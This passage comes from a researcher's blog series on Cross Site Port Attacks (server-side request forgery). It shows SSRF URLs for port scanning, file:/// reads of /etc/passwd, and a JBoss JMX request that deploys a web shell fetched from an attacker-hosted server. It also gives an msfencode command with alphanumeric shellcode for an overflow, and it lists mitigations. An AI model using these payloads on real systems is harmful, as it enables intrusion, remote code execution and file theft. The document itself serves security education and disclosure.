http://example_server:8080/cmd/shell.jsp. Commands can then be executed 
via shell.jsp?x=[command]. To perform this via XSPA we need to obviously
 replace the example_server with the IP/hostname of the server running 
JBoss on the internal network.</span> 
<br /><br />

<span style="font-family: "Trebuchet MS",sans-serif;">
A small problem here that becomes a roadblock in performing this attack 
via XSPA is that the file deploy works via a POST request and hence we 
cannot craft a URL (atleast we think so) that would deploy the war file 
to the server. This can easily be solved by converting the POST to a GET
 request for the JMX console. On a test installation, we can identify 
the variables that are being sent to the JBoss server when the Main 
Deployer's deploy() function is called. Using your favorite proxy, or 
simply using the Firefox addon - Web Developer's "Convert POST to GET" 
functionality, we can construct a URL that would allow deploying of the 
cmd.war file to the server. We then only need to host the cmd.war file 
on an Internet facing server so that we can specify the cmd.war file URL
 as arg0. The final URL would look something like (assuming JBoss server
 is running on the same web server):<br /><br />
</span>

<div style="text-align: left;">
<span style="font-family: "Courier New",Courier,monospace;">
http://127.0.0.1:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://our_public_internet_server/utils/cmd.war
</span>
</div>
<br />

<span style="font-family: "Trebuchet MS",sans-serif;">
Use this URL as input to the XSPA vulnerable web application and if the 
application displays received responses from the backend, you should see
 something on the lines of the following:
</span>
<br /><br />

<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiE1lhJAaBrowIUFGiGahlX6qFyUcun4GpdW8WDCtHHE4vVf089anwyoidIJU1dDQc6-mUeUmZf3FU7ba3d6w-zLPbv2orhXTTVcNofoaaMweSkl9cUkeT6gV_EbFmnKMYgnpasnFFtVnF-/s1600/jmx_op_completed.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="243" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiE1lhJAaBrowIUFGiGahlX6qFyUcun4GpdW8WDCtHHE4vVf089anwyoidIJU1dDQc6-mUeUmZf3FU7ba3d6w-zLPbv2orhXTTVcNofoaaMweSkl9cUkeT6gV_EbFmnKMYgnpasnFFtVnF-/s1600/jmx_op_completed.png" width="520" /></a></div>
<br />
<span style="font-family: "Trebuchet MS",sans-serif;">
Then its a matter of requesting shell.jsp via the XSPA vulnerable web 
application. For example, the following input would return the directory
 listing on the JBoss server (assuming its Windows, for Linux, 
x=ls%20-al can be used)
</span>
<br /><br />
<div style="text-align: left;">
<span style="font-family: "Courier New",Courier,monospace;">
http://127.0.0.1:8080/cmd/shell.jsp?x=dir
</span>
</div>
<br />

<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHjwtaunsSv6dEzQLbzWkISaOs30Kbo_SRoyHqPGELe2nNdUmQyTgIO2KULarprGmwOcgMQjW_KAOuamrvn10BaPagAorXDz5kqryWMhGtiqIEMtrYHxL_qhS5Vg97N5qvS4IQzMEETphD/s1600/jboss_shell_dir_output.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="470" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHjwtaunsSv6dEzQLbzWkISaOs30Kbo_SRoyHqPGELe2nNdUmQyTgIO2KULarprGmwOcgMQjW_KAOuamrvn10BaPagAorXDz5kqryWMhGtiqIEMtrYHxL_qhS5Vg97N5qvS4IQzMEETphD/s1600/jboss_shell_dir_output.png" width="520" /></a></div>
<br /><br />
<div style="text-align: left;">
<span style="font-family: "Courier New",Courier,monospace;">
http://127.0.0.1:8080/cmd/shell.jsp?x=tasklist
</span>
</div>
<br />

<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTO8hH-PWoSFvYjK_kcWE2ncYGyiFi3UsoFhjcPg5gkt-NETDJ6GyPucxMP2q53EnsvNQN-NX7gYN_pCkj1gDnsL-pumeSFrDOlJpy34Ih_OdfgmpGSayjzeJLd8NDOIbfTKdUYiSDW8ey/s1600/jboss_shell_tasklist_output.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="490" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTO8hH-PWoSFvYjK_kcWE2ncYGyiFi3UsoFhjcPg5gkt-NETDJ6GyPucxMP2q53EnsvNQN-NX7gYN_pCkj1gDnsL-pumeSFrDOlJpy34Ih_OdfgmpGSayjzeJLd8NDOIbfTKdUYiSDW8ey/s1600/jboss_shell_tasklist_output.png" width="520" /></a></div>
<br /><br />
<span style="font-family: "Trebuchet MS",sans-serif;">
We have successfully attacked an internal vulnerable web application 
from the Internet using XSPA. We can then use the shell to download a 
reverse connect program that would give higher flexibility over issuing 
commands. Similarily other internal applications vulnerable to threats 
like SQL Injection, parameter manipulation and other URL based attacks 
can be targeted from the Internet.
</span>
<br /><br />

<h2 style="text-align: left;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-weight: normal;">Attacks - Reading local files using file:/// protocol</span> </span></h2>
<span style="font-family: "Trebuchet MS",sans-serif;">
All the attacks that we saw till now make use of the fact that the XSPA 
vulnerable web application creates an HTTP request to the requested 
resource. The protocol in all cases was specified by the attacker. On 
the other hand, if we specify the file protocol handler, we maybe able 
to read local files on the server. An input of the following form would 
cause the application to read files on disk:
<br /><br />
Request: file:///C:/Windows/win.ini
</span>
<br /><br />

<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZcEDssC_wrx_vsgCeTNWMZzutGlJ5aypOv7Nfrk3VIUDb1013D8oGabl40MSJ2HdjL6BFx4o__euBP8RkLyeirD1mT2U3iRv9bVAW1Q7naMlpZL3S4KGylE1qWf4PXHrMp_knNlP5UtfV/s1600/file_read.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="530" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZcEDssC_wrx_vsgCeTNWMZzutGlJ5aypOv7Nfrk3VIUDb1013D8oGabl40MSJ2HdjL6BFx4o__euBP8RkLyeirD1mT2U3iRv9bVAW1Q7naMlpZL3S4KGylE1qWf4PXHrMp_knNlP5UtfV/s1600/file_read.png" width="520" /></a></div>
<br /><br />
<span style="font-family: "Trebuchet MS",sans-serif;">
The following screengrab shows the reading of the /etc/passwd file on an
 Adobe owned server via Adobe's Omniture web application. The request 
was file:///etc/passwd. Adobe has now fixed this issue and credited me 
on the <a href="http://www.adobe.com/support/security/bulletins/securityacknowledgments.html" target="_blank">Adobe Hall of Fame</a> for the same:
</span>
<br /><br />

<h2 style="text-align: left;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-weight: normal;">How do you fix this?</span> </span></h2>
<span style="font-family: "Trebuchet MS",sans-serif;">
There are multiple ways of mitigating this vulnerability, the most ideal
 and common techniques of thwarting XSPA, however, are listed below:<br />
1. Response Handling - Validating responses received from remote 
resources on the server side is the most basic mitigation that can be 
readily implemented. If a web application expects specific content type 
on the server, programmatically ensure that the data received satisfies 
checks imposed on the server before displaying or processing the data 
for the client.
<br /><br />
2. Error handling and messages - Display generic error messages to the 
client in case something goes wrong. If content type validation fails, 
display generic errors to the client like "Invalid Data retrieved". Also
 ensure that the message is the same when the request fails on the 
backend and if invalid data is received. This will prevent the 
application from being abused as distinct error messages will be absent 
for closed and open ports. Under no circumstance should the raw response
 received from the remote server be displayed to the client.
<br /><br />
3. Restrict connectivity to HTTP based ports - This may not always be 
the brightest thing to do, but restricting the ports to which the web 
application can connect to only HTTP ports like 80, 443, 8080, 8090 etc.
 can lower the attack surface. Several popular web applications on the 
Internet just strip any port specifications in the input URL and connect
 to the port that is determined by the protocol handler (http - 80, 
https - 443).
<br /><br />
4. Blacklist IP addresses - Internal IP addresses, localhost 
specifications and internal hostnames can all be blacklisted to prevent 
the web application from being abused to fetch data/attack these 
devices. Implementing this will protect servers from one time attack 
vectors. For example, even if the first fix (above) is implemented, the 
data is still being sent to the remote service. If an attack that does 
not need to see responses is executed (like a buffer overflow exploit) 
then this fix can actually prevent data from ever reaching the 
vulnerable device. Response handling is then not required at all as a 
request was never made.
<br /><br />
5. Disable unwanted protocols - Allow only http and https to make 
requests to remote servers. Whitelisting these protocols will prevent 
the web application from making requests over other protocols like 
file:///, gopher://, ftp:// and other URI schemes.
<br /></span>

<h2 style="text-align: left;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-weight: normal;">Conclusion</span> </span></h2>
<span style="font-family: "Trebuchet MS",sans-serif;">
Using web applications to make requests to remote resources, the local 
network and even localhost is a technique that has been known to 
pentesters for some time now. It has been termed as Server Side Request 
Forgeries, Cross Site Port Attacks and even Server Side Site Scanning, 
but the primary idea is to present it to the community and show that 
this vulnerability is extremely common. XSPA, in the case of this 
research, can be used to proxy attacks via vulnerable web applications 
to remote servers and local systems.<br />
<br />
We have seen that XSPA can be used to port scan remote Internet facing 
servers, intranet devices and the local web server itself. Banner 
grabbing is also possible in some cases. XSPA can also be used to 
exploit vulnerable programs running on the Intranet or on the local web 
server. Fingerprinting intranet web applications using static default 
files & application behaviour is possible. It is also possible in 
several cases to attack internal/external web applications that are 
vulnerable to GET parameter based vulnerabilities (SQLi via URL, 
parameter manipulation etc.). Lastly, XSPA has been used to document 
local file read capabilities using the file:/// protocol handler in 
Adobe's Omniture web application.
<br /><br />
Mitigating XSPA takes a combination of blacklisting IP addresses, 
whitelisting connect ports and protocols and proper non descriptive 
error handling.
<br /><br /><br />
In the next several posts I will publish disclosures regarding XSPA in 
several websites on the Internet which triggered the research into this 
vulnerability in the first place.
</span></div>

Cross Site Port Attacks - XSPA - Part 3

In the last 2 posts we saw what Cross Site Port Attacks (XSPA) are and what are the different attacks that are possible via XSPA. This po...

Cross Site Port Attacks - XSPA - Part 2

<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="font-family: "Trebuchet MS",sans-serif;">This is the second post in the 3 part series that explains XSPA, the attacks and possible countermeasures.
<br /><br />
Read <a href="http://anonymous1769.blogspot.in/2014/08/cross-site-port-attacks-xspa-part-1.html">Cross Site Port Attacks - XSPA - Part 1</a><br />
Read <a href="http://anonymous1769.blogspot.in/2014/08/cross-site-port-attacks-xspa-part-3.html">Cross Site Port Attacks - XSPA - Part 3</a>
<br /><br />

</span><br />
<h2 style="text-align: left;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-weight: normal;">Attacks</span> </span></h2>
<span style="font-family: "Trebuchet MS",sans-serif;">XSPA 
allows attackers to target the server infrastructure, mostly the 
intranet of the web server, the web server itself and any public 
Internet facing server as well. Currently, I have come across the 
following five different attacks that can be launched because of XSPA:<br />
1. Port Scanning remote Internet facing servers, intranet devices and 
the local web server itself. Banner grabbing is also possible in some 
cases.<br />
2. Exploiting vulnerable programs running on the Intranet or on the local web server<br />
3. Fingerprinting intranet web applications using standard application default files & behavior<br />
4. Attacking internal/external web applications that are vulnerable to 
GET parameter based vulnerabilities (SQLi via URL, parameter 
manipulation etc.)<br />
5. Reading local web server files using the file:/// protocol handler.<br /><br />

Most web server architecture would allow the web server to access the 
Internet and services running on the intranet. The following visual 
depiction shows the various destinations to which requests can be made:</span><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnD2rJZc21zuBydiTyzj-z7WHi0RWOPSQnIvCCRZrv0pPinNL1Zx3PaQkuXU0h6EdXQdjXNLlNI-akQA2l7n23WmuHF3HLD5I24oLoyhqgHbMgt9O_wHmFiAO4hjknZqSg56xgzT3xTlPa/s1600/xspa_reach_via_server.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnD2rJZc21zuBydiTyzj-z7WHi0RWOPSQnIvCCRZrv0pPinNL1Zx3PaQkuXU0h6EdXQdjXNLlNI-akQA2l7n23WmuHF3HLD5I24oLoyhqgHbMgt9O_wHmFiAO4hjknZqSg56xgzT3xTlPa/s1600/xspa_reach_via_server.png" width="520" /></a></div>
Let us now look at some of the attacks that are possible with XSPA. 
These are attacks that I have come across during my Bug Bounty research 
and XSPA is not limited to them. A determined, intuitive attacker can 
come up with other scenarios as well.<br />
<br />
<h2 style="text-align: left;">
<span style="font-weight: normal;"><span style="font-family: "Trebuchet MS",sans-serif;">Attacks - Port Scanning using XSPA</span></span></h2>
<span style="font-family: "Trebuchet MS",sans-serif;">Consider
 a web application that provides a common functionality that allows a 
user to input a link to an external image from a third party server. 
Most social networking sites have this functionality that allows users 
to update their profile image by either uploading an image or by 
providing a URL to an image hosted elsewhere on the Internet.</span>
A user is expected (in an utopian world) to enter a valid URL pointing 
to an image on the Internet. URLs of the following forms would be 
considered valid:
<br />
<li>http://example.com/dir/public/image.jpg</li>
<li>http://example.com/dir/images/</li>
<br />
The second URL is valid, if the served Content-Type is an image 
(http://www.w3.org/Protocols/rfc1341/4_Content-Type.html). Based on the 
web application's server side logic, the image is downloaded on the 
server, a URL is created and then the image is displayed to the user, 
using the new server URL. So even if you specify the image to be at
<br />
http://example.com/dir/public/image.jpg<br />
the final image url would be at<br />
http://gravatar.com/user_images/username/image.jpg. 
<br />
<br />
If an image is not found at the user supplied URL, the web 
application will normally inform the user of such. However, if the 
remote server hosting the image itself isn't found or the server exists 
and there is no HTTP service running then it gets tricky. Most web 
applications generate error messages that inform the user regarding the 
status of this request. An attacker can specify a non-standard yet valid
 URI according to the URI rfc3986 with a port specification. An example 
of these URIs would be the following:
<br />
<li>http://example.com:8080/dir/images/</li>
<li>http://example.com:22/dir/public/image.jpg</li>
<li>http://example.com:3306/dir/images/</li>
<br />
<span style="font-family: "Trebuchet MS",sans-serif;">In all 
probability you would find a web application on port 8080 and not on 22 
(SSH) or 3306 (MySQL). However, the backend logic of the webserver, in 
all observed cases, will connect to the user specified URL on the 
mentioned port using whatever APIs and framework it is built over as 
these are valid HTTP URLs. In case of most TCP services, banners are 
sent when a socket connection is created and since most banners 
(containing juicy information) are printable ascii, they can be 
displayed as raw HTML via the response handler. If there is some parsing
 of data on the server then non HTML data may not be displayed, in such 
cases, unique error messages, response byte size and response timing can
 be used to identify port status providing an avenue for port scanning 
remote servers using the vulnerable web application. An attacker can 
analyze the returned error messages and identify open and closed ports 
based on unique error responses. These responses may be raw socket 
errors (like "Connection refused" or timeouts) or may be customized by 
the application (like "Unexpected header found" or "Service was not 
reachable"). Instead of providing a URL to a remote server, URLs to 
localhost (http://127.0.0.1:22/image.jpg) can also be used to port scan 
the local server itself!</span><br />
<br />
The following implementation of cURL can be abused to port scan devices:
<br />
<div style="text-align: left;">
<span style="font-family: "Courier New",Courier,monospace;">
<?php <br />
  if (isset($_POST['url']))<br />
    {<br />
  $link = $_POST['url'];<br />
  $filename = './curled/'.rand().'txt';<br />
  $curlobj = curl_init($link);<br />
  $fp = fopen($filename,"w");<br />

curl_setopt($curlobj, CURLOPT_FILE, $fp);<br />
  curl_setopt($curlobj, CURLOPT_HEADER, 0);<br />
  curl_exec($curlobj);<br />
  curl_close($curlobj);<br />
  fclose($fp);<br />
  $fp = fopen($filename,"r");<br />
  $result = fread($fp, filesize($filename)); <br />
  fclose($fp);<br />
  echo $result;<br />
   }<br />
?><br /><br />
</span></div>
<span style="font-family: "Trebuchet MS",sans-serif;">The following is a screengrab of the above code retrieving robots.txt from http://www.twitter.com:<br /><br />
Request: http://www.twitter.com/robots.txt<br /><br />

</span><br />
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: "Trebuchet MS",sans-serif;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgV36r1uBkIQgSD0egRWU8SnjgYEAW9euGjwpl80Wgqxt3WHBsoLcx-BrlYHUpzZEbeIxL6-7OackWenGrJPppZkTY0dZejRtlCPFOAAWvqtq8u-bfzDsaQsfbLcXs8gce68K_wSMajFGGE/s1600/robots.txt.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="420" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgV36r1uBkIQgSD0egRWU8SnjgYEAW9euGjwpl80Wgqxt3WHBsoLcx-BrlYHUpzZEbeIxL6-7OackWenGrJPppZkTY0dZejRtlCPFOAAWvqtq8u-bfzDsaQsfbLcXs8gce68K_wSMajFGGE/s1600/robots.txt.png" width="520" /></a></span></div>
<span style="font-family: "Trebuchet MS",sans-serif;">
<br /><br />

For the same page, if a request is made to fetch data from a open port running a non HTTP service:<br /><br />
Request: http://scanme.nmap.org:22/test.txt<br /><br />

For a closed port, an application specific error is displayed:<br /><br />
Request: http://scanme.nmap.org:25/test.txt<br /> <br />

The different responses received allow us to port scan devices using the
 vulnerable web application server as a proxy. This can easily be 
scripted to achieve automation and cleaner results. I will be (in later 
posts) showing how this attack was possible on Facebook, Google, 
Mozilla, Pinterest, Adobe and Yahoo!<br /><br />

An attacker can also modify the request URLs to scan the internal network or the local server itself. For example:<br /><br />

Request: http://127.0.0.1:3306/test.txt<br /><br />

In most web applications on the Internet, barring a few, banner grabbing
 may not be possible, in which case application specific error messages,
 response byte size, server response times and changes in HTML source 
can be used as unique fingerprints to identify port status. The 
following screengrabs show port scanning via XSPA in Google's Webmasters
 web application. Note the application specific error messages that can 
be used to script the vulnerability and automate scanning of 
Internet/Intranet devices. Google has now fixed this issue (and my name 
was listed in the prestigious <a href="http://www.google.com/about/appsecurity/hall-of-fame/reward/" target="_blank">Google Hall of Fame</a> for security researchers):<br /><br />

<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRy1oyrvQCCYJxGJzhyphenhyphenJ5lGBJWeriOw4Ol6HC8sOeoJtNBVVY7ydRI6KiA9UK8RNDwRQ9B-mB4axvHkYSIZRBWySLg38V9e2VWJ2uBRcMdb9X5bbFJrz-a-V4axN6FlI7I8hlmRGl6S1CG/s1600/closed_port.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRy1oyrvQCCYJxGJzhyphenhyphenJ5lGBJWeriOw4Ol6HC8sOeoJtNBVVY7ydRI6KiA9UK8RNDwRQ9B-mB4axvHkYSIZRBWySLg38V9e2VWJ2uBRcMdb9X5bbFJrz-a-V4axN6FlI7I8hlmRGl6S1CG/s1600/closed_port.PNG" width="520" /></a></div>
</span>
<br />
<br />
<h2 style="text-align: left;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-weight: normal;">Attacks - Exploiting vulnerable network programs</span> </span></h2>
<span style="font-family: "Trebuchet MS",sans-serif;">Most 
developers in the real world write code without incorporating a lot of 
security. Which is why, even after a decade of being documented, threats
 like buffer overflows and format string vulnerabilities are still found
 in applications. For applications built in-house to perform specific 
tasks, security is almost never in the list of priorities, hence 
attacking them gives easy access to the internal network. XSPA allows 
attackers to send data to user controlled addresses and ports which 
could have vulnerable services listening on them. These can be exploited
 using XSPA to execute code on the remote/local server and gain a 
reverse shell (or perform an attacker desired activity).<br /><br />

If we look at the flow of an XSPA attack, we can see that we control the
 part after the port specification. In simpler terms, we control the 
resource that we are asking the web server to fetch from the 
remote/local server. The web server creates a GET (or POST, mostly GET) 
request on the backend and connects to the attacker specified service 
and issues the following HTTP request:<br /><br />

</span><br />
<div style="text-align: left;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-family: "Courier New",Courier,monospace;">
GET /attacker_controlled_resource HTTP/1.1<br />
Host: hostname<br /><br />
</span></span></div>
<span style="font-family: "Trebuchet MS",sans-serif;">
If you notice carefully, we do not need to be concerned about most of 
the structure of the backend request as we control the most important 
part of it, the resource specification. For example, in the following 
screengrab you can see that a program listening on port 8987 on the 
local server accepts input and prints "Hello GET /test.txt HTTP/1.1, The
 Server Time is: [server time]". We can see that the "GET /test.txt 
HTTP/1.1" is sent by the web server to the program as part of its 
request creation process. If the program is vulnerable to a buffer 
overflow, as user input is being used to create the output, the attacker
 could pass an overly long string and crash the program.<br /><br />

Request: http://127.0.0.1:8987/test.txt</span><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKrjf5yQ2aqiPbYZL0ODHz2gkp4rvrS-KECbE_fuOCDVsdclNrzLMeyCqCnCDH7NG9C-Bc_ToBVijV4dud8PPOAQKBQyLMEzUg6IuSVWwOkwarQB5gcKcqvxACJ6UGwqIxwaXQDuO3CxOk/s1600/vulnerable_program_localhost.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKrjf5yQ2aqiPbYZL0ODHz2gkp4rvrS-KECbE_fuOCDVsdclNrzLMeyCqCnCDH7NG9C-Bc_ToBVijV4dud8PPOAQKBQyLMEzUg6IuSVWwOkwarQB5gcKcqvxACJ6UGwqIxwaXQDuO3CxOk/s1600/vulnerable_program_localhost.png" width="520" /></a></div>
<br />
<br />
Request: 
http://127.0.0.1:8987/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxkoO9dufUUuTBJreWBSa3IqW9M0yXyy7sUhfSkFOAFB_LX7w-rgQkDbCmq3uPlE4iTNK6RFa2cj_hxzBni7ObLOy0IJTJx6GgqZw9XM2Q6M4v93IOnb7fqjfFkfzBkdJWN3Mj7BRRhZ9n/s1600/network_hello_crash.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxkoO9dufUUuTBJreWBSa3IqW9M0yXyy7sUhfSkFOAFB_LX7w-rgQkDbCmq3uPlE4iTNK6RFa2cj_hxzBni7ObLOy0IJTJx6GgqZw9XM2Q6M4v93IOnb7fqjfFkfzBkdJWN3Mj7BRRhZ9n/s1600/network_hello_crash.png" width="520" /></a></div>
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhi-UHt1j3mWroXvP5O9IEPPExtvohW-S_6BGYKvmdsT8loEjuezycLMu8t24Kc5eoeH7Kw6n0W8X5aUHxiAblfkf_QOtq-t8HjchD6UANi-1XD5J_r4G2R3tnSWJdJ5N6ziz2Cxm_wR1Wj/s1600/exploitable_program.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhi-UHt1j3mWroXvP5O9IEPPExtvohW-S_6BGYKvmdsT8loEjuezycLMu8t24Kc5eoeH7Kw6n0W8X5aUHxiAblfkf_QOtq-t8HjchD6UANi-1XD5J_r4G2R3tnSWJdJ5N6ziz2Cxm_wR1Wj/s1600/exploitable_program.png" width="520" /></a></div>
<br />
<br />
On testing the vulnerable copy on a local installation, we can see that 
EIP can be controlled and ESP has our data. Calculating the correct 
offset for EIP and building the exploit is beyond this blog post, 
however, the folks at <a href="https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows">Corelan</a>
 have a brilliant series of tutorials on building exploits for 
vulnerable programs. One important point to be noted however is that 
HTTP being a text based protocol may not handle non-printable unicode 
characters (found in exploit code) properly. In such a situation, we can
 use msfencode (part of metasploit framework) to encode the exploit 
payload to alpha numeric using the following command:<br />
<br />
<div style="text-align: left;">
<span style="font-family: "Courier New",Courier,monospace;">
msfpayload windows/exec CMD=calc.exe R | msfencode BufferRegister=ESP -e x86/alpha_mixed
</span></div>
<br />
The result? The following alphanumeric text (along with padding AAAAAAs,
 the static JMP ESP address and the shellcode) that can now be sent via 
the web application to the vulnerable program:<br />
<br />
<div style="text-align: left;">
<span style="font-family: "Courier New",Courier,monospace;">
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@'ßwTYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIIlhhmYUPWpWp3Pk9he01xRSTnkpRfPlKPRtLLKPR24NkbR7XDOMgszuvVQ9oeaKpllgL3QQl5RFLWPiQJodM31JgKRHpaBPWNk3bvpLKsrWLwqZpLK1P0xMU9PSDCz7qZpf0NkQX6xnk2xUps1n3xcgL3yNkednkVayF4qKO5aKpnLIQJo4M31O76XIpbUzTdC3MHxGKamvDbU8bchLKShEtgqhSQvLKtLRkNkShuLgqZslK5TlKVaZpoy3tGTWTqKqKsQ0YSjRqyoKP2xCoSjnkwb8kLFqM0jFaNmLElyc05PC0pPsX6QlK0oOwkOyEOKhph5920VBHY6MEoMOmKON5Uls6SLUZMPykip2UfeoK3wfs422OBJs0Sc9oZuCSPaPl3SC0AA
</span></div>
<br />
<br />
Sucessful exploitation leads to calculator executing on the server. The 
shellcode can be replaced with other payloads as well (reverse shell 
perhaps?)<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiK8g7LHWzW5uykz86_o6fUufusLgyyU_-kUW8tyv7Jn0WrtB9p6xXY3T5_J5tg2XN6t4T8jx84O5naxk-vAf_KXoFmblW2jBWZ4hMf9elPsfUemH8ax8xuduYws0Oi7r7IH1SKkg26Z-GJ/s1600/calc_exec.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="350" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiK8g7LHWzW5uykz86_o6fUufusLgyyU_-kUW8tyv7Jn0WrtB9p6xXY3T5_J5tg2XN6t4T8jx84O5naxk-vAf_KXoFmblW2jBWZ4hMf9elPsfUemH8ax8xuduYws0Oi7r7IH1SKkg26Z-GJ/s1600/calc_exec.png" width="520" /></a></div>
<br />
<br />
<h2 style="text-align: left;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-weight: normal;">Attacks - Fingerprinting Intranet Web Applications</span> </span></h2>
Identifying internal applications via XSPA would be one of the first 
steps an attacker would take to get into the network from outside. 
Fingerprinting the type and version, if its a publicly available 
framework, blogging platform, application module or simply a customized 
public CMS, is essential in identifying vulnerabilities that can then be
 exploited to gain access. <br />
<br />
Most publicly available web application frameworks have distinct files 
and directories whose presence would indicate the type and version of 
the application. Most web applications also give away version and other 
information through meta tags and comments inside the HTML source. 
Specific vulnerabilites can then be researched based on the results. For
 example, the following unique signatures help in identifying a 
phpMyAdmin, Wordpress and a Drupal instance respectively:<br />
<br />
Request: http://127.0.0.1:8080/phpMyAdmin/themes/original/img/b_tblimport.png<br />
Request: http://127.0.0.1:8081/wp-content/themes/default/images/audio.jpg<br />
Request: http://127.0.0.1:8082/profiles/minimal/translations/README.txt<br />
<br />
The following request attempts to identify the presence of a DLink Router:<br />
<br />
Request: http://10.0.0.1/portName.js<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgf7mZLwXp6MxHugw2kTI_k9w_rAUOD3KGreZ-EY-qn6o5sdnjm3wSleO6N6n7B_V4I_GqHnsS0EpQa0Ll0IvCJK0aDAu_uYJKFo88I3oQYyMAfbBbBTYJVgs8SiPeI6kX9wx4wSfJU3SIX/s1600/dlink_router_intranet.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgf7mZLwXp6MxHugw2kTI_k9w_rAUOD3KGreZ-EY-qn6o5sdnjm3wSleO6N6n7B_V4I_GqHnsS0EpQa0Ll0IvCJK0aDAu_uYJKFo88I3oQYyMAfbBbBTYJVgs8SiPeI6kX9wx4wSfJU3SIX/s1600/dlink_router_intranet.png" width="520" /></a></div>
<br />
<br />
Once the web application has been identified, an attacker can then 
research vulnerabilities and exploit vulnerable applications. In the 
next post we shall see how intranet web applications can be attacked and
 how servers can be abused using other protocols as well. We will also 
take a look at fixes that are suggested for developers to thwart XSPA or
 limit the damage that can arise due to this vulnerability.
</div>

Cross Site Port Attacks - XSPA - Part 2

This is the second post in the 3 part series that explains XSPA, the attacks and possible countermeasures. Read Cross Site Port Attacks - ...